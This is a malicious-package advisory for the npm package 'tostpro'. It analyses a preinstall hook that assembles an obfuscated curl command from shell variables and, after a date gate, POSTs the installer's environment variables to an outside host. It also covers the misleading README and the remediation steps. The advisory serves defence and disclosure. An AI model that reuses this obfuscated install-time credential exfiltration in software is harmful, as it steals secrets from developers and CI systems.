npm · Malicious package advisory
Malwaretostpro
MAL-2026-17564
Malicious code in tostpro (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183) The npm package [email protected] ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into `dom=https://abbishal.` plus `tld=com`, reconstructing them at runtime as `$i$h$l -d "`$b$s$a`" $dom$tld/sh/poc`. Execution is gated by `if [ `date +%s` -gt 1791141300 ]` (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of `env` — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states "No network access. No data collection," directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion. ## Source: ghsa-malware (95a0ca1794b466d8ca8d84b64429987b6683b2b316794f522dc160bf35bce216) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Compromised versions (3)
- 100.6.0
- 100.2.0
- 100.7.0
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.